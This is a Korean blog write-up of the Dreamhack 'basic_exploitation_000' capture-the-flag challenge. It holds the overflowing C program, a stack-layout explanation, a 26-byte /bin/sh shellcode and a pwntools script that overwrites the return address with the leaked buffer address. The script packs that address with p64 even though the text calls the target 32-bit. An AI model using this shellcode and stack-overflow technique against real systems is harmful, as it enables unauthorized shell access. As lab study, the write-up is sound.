본문 바로가기

포너블

드림핵 basic_exploitation_000 롸업

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

문제 코드이다.

 

버퍼의 크기가 128바이트인데 scanf에서 141바이트까지 입력을 받을 수 있기 때문에 오버플로우 취약점이 존재한다.

근데 더미를 정확히 얼마나 넣어야 하는지 헷갈려서 스택 구조에 대해 더 공부해봤다.

스탯의 기본적인 메모리 구조이다.

SFP는 실행될 때 이전의 EBP값을 의미한다.

SFP는 32bit에서는 4바이트, 64bit에서는 8바이트를 차지한다.

그래서 이전 문제에서도 ret가 저장되는 것이 rbp+0x8이었다.

 

이 문제는 32bit이기 때문에 ret와 4바이트만큼 더 떨어져있다.

우리는 오버플로우로 이 ret를 원하는 함수 주소나 셸코드로 덮어쓰면 된다.

따라서 0x80=128바이트에 4바이트를 더해서 132바이트를 더미로 채워야한다.

이 문제에는 get_shell과 같은 함수가 없기 때문에 셸 코드로 해야한다.

scanf에 적용가능한 셸 코드는 26바이트 셸 코드이다.

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

106개의 더미 문자와 이 26바이트 셸코드를 합쳐서 페이로드를 만들면 된다.

셸 코드를 실행시키려면 셸 코드 자체를 buf에 저장시키고 ret에 buf의 주소를 넣어주면 된다.

이를 pwntools로 구현해보면 다음과 같다.

from pwn import *
from pwn import p64


p = remote('host3.dreamhack.games', 9173)

# "buf = (주소)" 형태의 출력을 받음
output = p.recvline().decode('utf-8').strip()

# 정규 표현식을 사용하여 주소를 추출
buf_address = int(output.split('(')[1].split(')')[0], 16)

# 추출한 주소를 이용하여 페이로드 생성
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b'A' * 106  # 예를 들어 오버플로우를 유발하는 만큼 A로 채움
payload += p64(buf_address)  # buf_address를 페이로드에 추가

print(payload)

# 페이로드 전송
p.sendline(payload)
p.interactive()